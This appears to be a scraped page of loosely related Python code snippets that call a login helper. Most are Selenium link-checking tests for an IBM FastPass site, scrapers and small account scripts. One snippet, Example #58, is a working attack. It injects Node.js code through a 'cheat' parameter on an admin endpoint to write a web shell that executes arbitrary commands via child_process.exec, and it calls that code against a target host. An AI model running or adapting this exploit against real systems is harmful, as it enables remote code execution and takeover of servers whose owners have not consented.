            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p9')
        time.sleep(3)

        print "\n"
        print "step14.Go back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement site information', "The page did not be opened correct"
        time.sleep(5)

        print "\n"
        print "step15.Click on 'Entitlements' in related links area on the Agreement site information page."
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.find_element_by_link_text("Entitlements").click()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Entitlements - Customer site entitlement information', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p10')

        print "\n"
        print "step16.Go back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement site information', "The page did not be opened correct"
        time.sleep(5)

        print "\n"
        print "step17.Click on 'Services agreements' in related links area on the Agreement site information page."
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.find_element_by_link_text("Services agreements").click()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Sales orders - Services agreements by site', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p11')

        print "\n"
        print "step18.Go back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement search information', "The page did not be opened correct"
        time.sleep(5)

        print "\n"
        print "step19.Click the link of customer name( 'Gulf Business Machine BSC')."
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.find_element_by_link_text("Gulf Business Machine BSC").click()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement site information', "The page did not be opened correct"
        assert 'SaaS Solution Provider' in driver.page_source, "The data is not avalible"
        assert 'Provider' in driver.page_source, "The data is not avalible"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p12')

        print "\n"
        print "step20.click the link of Agreement_num (208050)."
        driver.implicitly_wait(10)
        driver.execute_script("window.scrollBy(0,300)", "")
        time.sleep(3)
        driver.find_element_by_link_text("208050").click()
        #driver.execute_script("window.scrollBy(0,200)","")
        #driver.execute_script("window.scrollBy(0,document.body.scrollHeight)","")
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement details', "The page did not be opened correct"
        assert 'SaaS Solution Provider' in driver.page_source, "The data is not avalible"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p13')
        time.sleep(3)

        print "\n"
        print "step21.go back."
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement site information', "The page did not be opened correct"

        print "\n"
        print "step22.click link of site number (3583726)"
        driver.implicitly_wait(10)
        #	driver.execute_script("window.scrollBy(0,300)","")
        time.sleep(3)
        driver.find_element_by_link_text("3583726").click()
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Customers - Customer details', "The page did not be opened correct"
        assert 'SaaS Solution Provider provider' in driver.page_source, "The data is not avalible"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p14')
        time.sleep(5)

        print "\n"
        print "step23.Go back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement site information', "The page did not be opened correct"
        time.sleep(5)

        print "\n"
        print "step24.Click on 'Contacts' in related links area on the Agreement site information page."
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.execute_script("window.scroll(0,0)", "")
        time.sleep(5)
        driver.find_element_by_link_text("Contacts").click()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Customers - Contact information', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p15')
        time.sleep(3)

        print "\n"
        print "step25.Go back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement site information', "The page did not be opened correct"
        time.sleep(5)

        print "\n"
        print "step26.Click on 'Current sales order' in related links area on the Agreement site information page."
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.find_element_by_link_text("Current sales orders").click()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Sales orders - Current sales order', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p16')
        time.sleep(3)

        print "\n"
        print "step27.Go back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement site information', "The page did not be opened correct"
        time.sleep(5)

        print "\n"
        print "step28.Click on 'All sales orders' in related links area on the Agreement site information page."
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.find_element_by_link_text("All sales orders").click()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Sales orders - Site historical information', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p17')
        time.sleep(3)

        print "\n"
        print "step29.Go back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement site information', "The page did not be opened correct"
        time.sleep(5)

        print "\n"
        print "step30.Click on 'Entitlements' in related links area on the Agreement site information page."
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.find_element_by_link_text("Entitlements").click()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Entitlements - Customer site entitlement information', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p18')

        print "\n"
        print "step31.Go back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement site information', "The page did not be opened correct"
        time.sleep(5)

        print "\n"
        print "step32.Click on 'Services agreements' in related links area on the Agreement site information page."
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.find_element_by_link_text("Services agreements").click()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Sales orders - Services agreements by site', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p19')

        print "\n"
        print "step33.Go back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement search information', "The page did not be opened correct"
        time.sleep(5)

        print "\n"
        print "step34.Click tag208050_link"
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.find_element_by_xpath(
            "(//a[contains(text(),'208050')])[1]").click()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement details', "The page did not be opened correct"
        #        assert 'SaaS Solution Provider' in driver.page_souce ,"The data is not avalible"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p20')

        print "\n"
        print "step35.Click End user  View"
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.find_element_by_xpath(
            "//a[@href='./SAPIDServsAgrmt?openagent&agree_num=0000208050&program=SP&ibm_cust_num=000115&cust_type=ENDUSRCUST&cust_num=0007044053']"
        ).click()
        time.sleep(8)
        result = driver.title
        assert result == 'FastPass | Sales orders - Services agreements by site', "The page did not be opened correct"
        assert 'SaaS Solution Provider' in driver.page_souce, "The data is not avalible"
        assert 'End user' in driver.page_souce, "The data is not avalible"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p21')

        print "\n"
        print "step36.Go back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement details', "The page did not be opened correct"
        time.sleep(5)

        print "\n"
        print "step37.Click current View link"
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.find_element_by_xpath(
            "(//a[contains(text(),'Current view ')])[1]").click()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Sales orders - Current sales order', "The page did not be opened correct"
        assert 'SaaS Solution Provider' in driver.page_souce, "The data is not avalible"
        assert 'End user' in driver.page_souce, "The data is not avalible"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p22')

        print "\n"
        print "step38.Go back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement details', "The page did not be opened correct"
        time.sleep(5)

        print "\n"
        print "step39.Click All View link"
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.find_element_by_xpath(
            "(//a[contains(text(),'All view')])[1]").click()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Sales orders - Site historical information', "The page did not be opened correct"
        assert 'SaaS Solution Provider' in driver.page_souce, "The data is not avalible"
        assert 'End user' in driver.page_souce, "The data is not avalible"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p23')

        print "\n"
        print "step40.Go back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement details', "The page did not be opened correct"
        time.sleep(5)

        print "\n"
        print "step41.Click provider View link"
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.find_element_by_xpath(
            "//a[@href='./SAPIDServsAgrmt?openagent&agree_num=0000208050&program=SP&ibm_cust_num=565046&cust_type=PROVIDER&cust_num=0003583726']"
        ).click()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Sales orders - Services agreements by site', "The page did not be opened correct"
        assert 'SaaS Solution Provider' in driver.page_souce, "The data is not avalible"
        assert 'Provider' in driver.page_souce, "The data is not avalible"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p24')

        print "\n"
        print "step42.Go back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement details', "The page did not be opened correct"
        time.sleep(5)

        print "\n"
        print "step43.Click current View link"
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.find_element_by_xpath(
            "(//a[contains(text(),'Current view ')])[4]").click()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Sales orders - Current sales order', "The page did not be opened correct"
        assert 'SaaS Solution Provider' in driver.page_souce, "The data is not avalible"
        assert 'Provider' in driver.page_souce, "The data is not avalible"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p25')

        print "\n"
        print "step44.Go back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement details', "The page did not be opened correct"
        time.sleep(5)

        print "\n"
        print "step45.Click All View link"
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.find_element_by_xpath(
            "(//a[contains(text(),'All view')])[4]").click()
        time.sleep(5)
        result = driver.title
        assert result == 'FastPass | Sales orders - Site historical information', "The page did not be opened correct"
        assert 'SaaS Solution Provider' in driver.page_souce, "The data is not avalible"
        assert 'Provider' in driver.page_souce, "The data is not avalible"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Mobile\\result\\image\\',
            'SaasSolution_p26')

        print "\n"
        print "step46.Go back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(3)
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement search information', "The page did not be opened correct"
        time.sleep(5)

        print "\n"
        print "Test Case end with successfully!"
Example #50
0
import requests
import login
import info
import course
import datebase
import sys

org = {}
stu = {}

if len(sys.argv) != 4:
    print('false 缺少参数')
    sys.exit()

org['code'] = sys.argv[1]
stu['id'] = sys.argv[2]
stu['pwd'] = sys.argv[3]
org = datebase.org_info(org)

session = requests.Session()
login.login(session, stu)
stu['info'] = info.information(session)
stu['course'] = course.course(session, org)
datebase.storage_data(org, stu)
print("true")
sys.exit()
Example #51
0
    initiallyEncrypted = False
else:
    initiallyEncrypted = True
    enc.decrypt()

account = input ("Enter account: ")

file = open(r"data\data.txt", 'r')
data = file.readlines()
file.close()

if initiallyEncrypted:
    enc.createNewKey()
    enc.encrypt()

accExists = False;
for line in data:
    temp = line.split(':')
    acc = temp[0]
    creds = temp[1]

    if acc == account:
        credList = creds.split(',')
        accExists = True;

if accExists == False:
    print ("Account does not exist")
    exit();

login.login (account, credList)
Example #52
0
    }
    response = session.get(DATA_URL.format(yesterday, yesterday),
                           headers=header)
    soup = BeautifulSoup(response.text, "lxml")
    if soup:
        data_list = []
        json_data = json.loads(soup.text)
        for data in json_data:
            data_dict = {}
            adslot_name = data.get("adslot_name", "")  #广告位
            click = data.get("click", 0)  #点击数
            impression = data.get("impression", 0)  #展现数
            income = data.get("income", 0)  #收入
            ctr = data.get("ctr", 0.0)
            #点击率
            data_dict["logTime"] = yesterday
            data_dict["sourceName"] = adslot_name
            data_dict["sourcePv"] = impression
            data_dict["clickCount"] = click
            data_dict["income"] = income
            data_list.append(data_dict)
            print yesterday, adslot_name, click, impression, income, ctr
    datas["data"] = data_list
    print datas


if __name__ == "__main__":
    from login import login
    session = login(user="******", pwd="xxxx")
    get_info(session)
Example #53
0
                        '-c',
                        help='采用的配置名称 如 school, home',
                        default='')
    parser.add_argument('--force',
                        '-f',
                        help='15:00 后是否仍然填报',
                        action='store_true')
    parser.add_argument('--debug', '-d', help='显示调试信息', action='store_true')
    parser.add_argument('--user', '-u', help='一卡通号', default='')
    parser.add_argument('--password', '-p', help='密码', default='')

    args = parser.parse_args()
    isDebug = args.debug

    # 覆盖账号信息
    if args.user != '' and args.password != '':
        configs['user']['cardnum'] = args.user
        configs['user']['password'] = args.password

    today = datetime.datetime.now(pytz.timezone('Asia/Shanghai'))
    print(today)
    if today.hour >= 15:  # 超过填报时间
        if args.force:
            print("【超过填报时间,但继续填报】")
        else:
            print("【超过填报时间!放弃填报】")
            exit()
    ss = login(configs['user']['cardnum'], configs['user']['password'])
    if ss:
        doReport(ss, args.config)
Example #54
0
		delete = True
	return delete

def del_log(delete,delete_log):
	if delete == True:
		delete_log.log_write('----------------\n')
		delete_log.log_write('Analysis deleted\n')
	if delete == False:
		delete_log.log_write('----------------\n')
		delete_log.log_write('Nothing changed\n')

if __name__ == '__main__':
	account_dict = {'username':'******', 'password':'******'}
	web_dict = get_webinfo(r'webinfo')

	browser = login(web_dict,account_dict)
	delete_log = delete_Log() # log edit result to a txt file
	
	# delete by clicking 'trash icon', confirm delete
	delete(browser,web_dict['delete_icon_css'],web_dict['delete_confirm_css'],web_dict,delete_log)

	# back to home page
	goPage(browser,web_dict['home_page'])
	# delete by clicking 'trash icon', cancel delete
	delete(browser,web_dict['delete_icon_css1'],web_dict['delete_cancel_css'],web_dict,delete_log)

	# back to 'analysis list'
	goPage(browser,web_dict['analysis_list_id'])
	# delete by clicking 'trash icon', confirm delete
	delete(browser,web_dict['delete_icon_css2'],web_dict['delete_confirm_css'],web_dict,delete_log)
	delete_log.log_close()
Example #55
0
    def test_guowai(self):
        u"""创建国外渠道"""
        driver = self.driver
        driver.get(self.BOSS_url)
        driver.maximize_window()
        driver.implicitly_wait(30)
        #登录BOSS系统
        login.login(driver)
        time.sleep(2)
        driver.find_element_by_xpath(".//*[@id='Hui-nav']/ul/li[2]/a").click()
        time.sleep(2)
        driver.find_element_by_xpath(".//*[@id='menu2']/li[12]/a").click()
        time.sleep(2)
        driver.find_element_by_xpath(
            ".//*[@id='menu2']/li[12]/ul/li[1]/a").click()
        # 从frame中切回主文档
        driver.switch_to.default_content()
        driver.switch_to_frame(1)
        # 创建国内渠道
        try:
            driver.find_element_by_xpath(
                "html/body/div[1]/div[1]/div/div[1]/div/a").click()
            driver.find_element_by_xpath(
                ".//*[@id='foreignChannel']/input").click()

            driver.find_element_by_id("agent").send_keys(
                random.choice(['apple', 'pear', 'peach', 'orange', 'lemon']))
            driver.find_element_by_id("legalPerson").send_keys(
                random.choice(
                    ['sdfdsfds', 'jkhfgdk', 'dsfsdfsdf', 'dsfdsfdsf']))
            driver.find_element_by_id("tel").send_keys(
                random.choice(['139', '188', '185', '136', '158', '151']) +
                "".join(random.choice("0123456789") for i in range(8)))
            driver.find_element_by_id("email").send_keys("*****@*****.**")
            driver.find_element_by_id("margin").send_keys(
                random.randrange(1, 99999))
            driver.find_element_by_id("initialFee").send_keys(
                random.randrange(1, 99999))
            driver.find_element_by_id("beginTime").click()
            driver.find_element_by_xpath(
                "html/body/div[2]/div[3]/table/tfoot/tr/th").click()
            driver.find_element_by_id("timeLimit").send_keys(
                random.randrange(1, 99))
            driver.find_element_by_class_name(
                "webuploader-element-invisible").send_keys("E:\ipg\popoo.jpeg")
            time.sleep(2)
            qudao = u"渠道名称%d" % random.randrange(
                1,
                9999,
            )
            driver.find_element_by_id("name").send_keys(qudao)
            Select(driver.find_element_by_id("managerId")).select_by_index(4)
            #, 'mid', 'pri'
            random1 = random.choice(['adv', 'mid', 'pri'])
            driver.find_element_by_id(random1).click()
            if random1 == 'adv':
                driver.find_element_by_xpath("username").send_keys(
                    u"高级渠道账号%d" % random.randrange(
                        1,
                        9999,
                    ))
                time.sleep(2)
                # Select(driver.find_element_by_id("span-country")).select_by_index(2)
                driver.find_element_by_name(u"渠道独家代理区域:").click()

                driver.find_element_by_xpath(
                    ".//*[@id='countrys_chosen']/div/ul/li[9]").click()

                driver.find_element_by_id("btn-add-country").click()

            elif random1 == 'mid':
                driver.find_element_by_id("username").send_keys(
                    u"中级渠道账号%d" % random.randrange(
                        1,
                        9999,
                    ))
                # Select(driver.find_element_by_xpath(".//*[@id='countrys_chosen']/a/span")).select_by_value("KL")
                time.sleep(2)
                driver.find_element_by_class_name("chosen-single").click()
                time.sleep(2)
                driver.find_element_by_xpath(
                    ".//*[@id='countrys_chosen']/div/ul/li[9]").click()
                time.sleep(2)
                driver.find_element_by_id("btn-add-country").click()

            else:

                driver.find_element_by_id("username").send_keys(
                    u"低级渠道账号%d" % random.randrange(
                        1,
                        9999,
                    ))

            driver.find_element_by_id("btn-submit").click()

        except:
            now = time.strftime("%Y-%m-%M-%H_%M_%S",
                                time.localtime(time.time()))
            driver.get_screenshot_as_file(u"E:\\工作任务\异常截图\\" + now +
                                          "error_png.png")
Example #56
0
def async_account_addmore(list_valid, user):
    for item in list_valid:
        account_name = item[0]
        password = item[1]
        md5_password = md5(password)
        accounts_key = 'accounts:%s' % user.get('username')

        user_key = '%s:%s' % ('user', user.get('username'))
        user_info = json.loads(r_session.get(user_key).decode('utf-8'))
        account_no = r_session.scard(accounts_key) + 1
        if user_info.get('account_limit') is not None and user_info[
                'account_limit'] < account_no:
            session['error_message'] = '账户数量已达上限,无法完成添加'
            return redirect(url_for('accounts'))
        if account_no is not None:
            if account_no >= user.get('total_account_point'):
                session['error_message'] = '账户余额不足,无法完成添加'
                return redirect(url_for('accounts'))
            elif account_no >= user.get('max_account_no'):
                user_info['max_account_no'] = account_no
                days = int(
                    user_info.get('total_account_point') /
                    user_info.get('max_account_no'))
                if days < 36500:
                    user_info['expire_date'] = (
                        datetime.now() +
                        timedelta(days=days)).strftime('%Y-%m-%d')
                else:
                    user_info['expire_date'] = (
                        datetime.now() +
                        timedelta(days=36500)).strftime('%Y-%m-%d')
                r_session.set(user_key, json.dumps(user_info))
        login_result = login(account_name, md5_password,
                             app.config.get('ENCRYPT_PWD_URL'))
        time.sleep(2)
        if login_result.get('errorCode') != 0:
            continue

        xl_session_id = login_result.get('sessionID')
        xl_nick_name = login_result.get('nickName')
        xl_user_name = login_result.get('userName')
        xl_user_id = str(login_result.get('userID'))
        xl_user_new_no = str(login_result.get('userNewNo'))
        xl_account_name = account_name
        xl_password = md5_password

        r_session.sadd(accounts_key, xl_user_id)

        account_key = 'account:%s:%s' % (user.get('username'), xl_user_id)
        xl_account_data = dict(
            session_id=xl_session_id,
            nick_name=xl_nick_name,
            username=xl_user_name,
            user_id=xl_user_id,
            user_new_no=xl_user_new_no,
            account_name=xl_account_name,
            password=xl_password,
            active=True,
            status='OK',
            createdtime=datetime.now().strftime('%Y-%m-%d %H:%M'))
        r_session.set(account_key, json.dumps(xl_account_data))
Example #57
0
from login import login
import time
from selenium import webdriver

u, p = login()

driver = webdriver.Chrome('/usr/bin/chromedriver')
driver.get('http://www.twitter.com/login')
time.sleep(1.5)

ufield = driver.find_element_by_css_selector("input[type='text']")
ufield.send_keys(u)

pfield = driver.find_element_by_css_selector("input[type='password']")
pfield.send_keys(p)
pfield.submit()

driver.get('https://twitter.com/DataInstituteSF/following')
time.sleep(2)

driver.execute_script("window.scrollTo(0, 10000);")  # scroll down
time.sleep(2)

driver.execute_script("window.scrollTo(0, 10000);")  # scroll down more
time.sleep(2)

links = driver.find_elements_by_xpath('//a[@role="link"]')
links = [(link.get_attribute("href"), link.text) for link in links
         if '@' in link.text]
print(links)
Example #58
0
from function import *
from urllib import quote
import time


def file_write(target, filename, contents, cookie):
    header = {"Cookie": cookie}
    res = "error"
    print "waiting to writes shell..."
    i = 0
    for content in contents:
        data = "require('fs').appendFile('" + filename + "','" + content + "');1"
        if i == 0:
            data = "require('fs').writeFile('" + filename + "','" + content + "');1"
        try:
            res = http("get", target, target_port,
                       "/ez_web/admin/count.php?cheat=" + quote(data), "",
                       header)
            i += 1
        except Exception, e:
            dump_error(target, "something error happens",
                       "db_admin_attack.py db_admin_attack")
            return False
    return True


from login import login
file_write("192.168.2.114", "5",
           'exports.a=function(c){return require("child_process").exec(c);}',
           login("192.168.2.114"))
AD12usr = [["tqadmin", "ChangeMePlease!", "linux-admins"],
           ["contributor", "ChangeMePlease!", "primary-contributor"],
           ["maintenance", "ChangeMePlease!", "tq-maintenance"],
           ["readonly", "ChangeMePlease!", "read-only"]]

AD12svr = [
    "@threatq.com", "tqad-east.threatq.com", "389", "tqadmin",
    "ChangeMePlease!", "DC=threatq,DC=com", "dn", "", "", "tqusers",
    "memberof", "sAMAccountName", "uid"
]

# Run test steps here

login.login(logger,
            host,
            driver,
            usr=CONFIG.USER[0],
            pssword=CONFIG.USER[1],
            SAML=CONFIG.SAML)
logger.info('Start LDAP config test.')

time.sleep(5)

driver.get(host + "config/ldap")

try:
    # Active Directory 2012 options.
    LDAPconfig.setup(driver,
                     logger,
                     AD12svr[0],
                     AD12svr[1],
                     AD12svr[2],
Example #60
0
    def test_Case_SoftwareSubscription_VerifyLinks04(self):

        print "Test case start:"
        print "\n"
        print "step1. open the home page"
        driver = self.driver
        wait = self.wait
        driver.get(self.base_url +
                   "software/xl/fastpass/agile/fphome.nsf/default?openform")
        driver.maximize_window()
        now_url = driver.current_url
        print now_url
        assert now_url == 'https://fpagile.boulder.ibm.com/software/xl/fastpass/agile/fphome.nsf/default?openform', "URL is not correct."
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'SoftwareSubscription_VerifyLinks04_p1')

        ###capture screenshots

        print "\n"
        print "step2.login"
        login.login(self, 'Entitlements')
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'SoftwareSubscription_VerifyLinks04_p2')
        driver.find_element_by_name("submit").click()
        driver.implicitly_wait(10)

        print "\n"
        print "step3.Input 'Agreement number' field with '09382'.Input 'Site number' field with '7017541'.Click 'Search'."
        driver.find_element_by_id("contractnum").clear()
        driver.find_element_by_id("contractnum").send_keys("09382")
        time.sleep(1)
        driver.find_element_by_id("customernum").clear()
        driver.find_element_by_id("customernum").send_keys("7017541")
        #	driver.execute_script("window.scrollBy(0,document.body.scrollHeight)","")
        driver.find_element_by_name("ibm-submit").submit()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Entitlements - Customer site entitlement information - Default sort by customer name', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'SoftwareSubscription_VerifyLinks04_p3')
        time.sleep(3)

        print "\n"
        print "step4.Select dropdown option 'Active sales orders' and hit Go button. "
        sel = driver.find_element_by_xpath("//select[@id='dropList1']")
        Select(sel).select_by_value(
            './EntitlemtSalesOrdsActvForSAPID?openagent&agree_num=0000009382&program=PA&ibm_cust_num=7824737&cust_type=NAV&cust_num=0007017541'
        )
        driver.find_element_by_name("ibm-go").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Entitlements - Active sales orders for site - Default sort by order date', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'SoftwareSubscription_VerifyLinks04_p4')
        time.sleep(3)

        print "\n"
        print "step5.Click the value in the 'Customer name' field."
        driver.find_element_by_link_text(
            "State Farm Mutual Automobile").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement site information', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'SoftwareSubscription_VerifyLinks04_p5')
        time.sleep(3)

        print "\n"
        print "step6.hit back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(2)
        result = driver.title
        assert result == 'FastPass | Entitlements - Active sales orders for site - Default sort by order date', "The page did not be opened correct"

        print "\n"
        print "step7.Click the value in the 'Agreement number' field."
        driver.find_element_by_xpath("//a[contains(text(),'09382')]").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Agreements - Agreement details', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'SoftwareSubscription_VerifyLinks04_p6')
        time.sleep(3)

        print "\n"
        print "step8.hit back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(2)
        result = driver.title
        assert result == 'FastPass | Entitlements - Active sales orders for site - Default sort by order date', "The page did not be opened correct"

        print "\n"
        print "step9.Click the value in the 'Site number' field."
        driver.find_element_by_xpath("//a[contains(text(),'7017541')]").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Customers - Customer details', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'SoftwareSubscription_VerifyLinks04_p7')
        time.sleep(3)

        print "\n"
        print "step10.hit back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(2)
        result = driver.title
        assert result == 'FastPass | Entitlements - Active sales orders for site - Default sort by order date', "The page did not be opened correct"

        print "\n"
        print "step11.Click the first value in the 'Part number' column."
        driver.execute_script("window.scrollBy(0,500)", "")
        time.sleep(1)
        driver.find_element_by_xpath("//a[contains(text(),'D1ASXLL')]").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Entitlements - Part information', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'SoftwareSubscription_VerifyLinks04_p8')
        time.sleep(3)

        print "\n"
        print "step12.hit back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(2)
        result = driver.title
        assert result == 'FastPass | Entitlements - Active sales orders for site - Default sort by order date', "The page did not be opened correct"

        print "\n"
        print "step13.Click the first value in the 'Sales order number' column."
        #	driver.execute_script("window.scrollBy(0,800)","")
        time.sleep(1)
        driver.find_element_by_xpath(
            "(//a[contains(text(),'0055521968')])[1]").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
        assert result == 'FastPass | Sales orders - Sales order information', "The page did not be opened correct"
        C_screenshots.C_screenshots(
            self,
            'C:\LM_IBM_WORK\LM_WORK\FastPass\FastPass_Agile\\result\\image\\',
            'SoftwareSubscription_VerifyLinks04_p9')
        time.sleep(3)

        print "\n"
        print "step14.hit back"
        driver.back()
        driver.implicitly_wait(10)
        time.sleep(2)
        result = driver.title
        assert result == 'FastPass | Entitlements - Active sales orders for site - Default sort by order date', "The page did not be opened correct"

        print "\n"
        print "step15.Click on 'All evolutions from sales transactions."
        driver.execute_script("window.scroll(0,0)", "")
        time.sleep(1)
        driver.find_element_by_link_text(
            "All evolutions from sales transactions").click()
        driver.implicitly_wait(10)
        time.sleep(3)
        result = driver.title
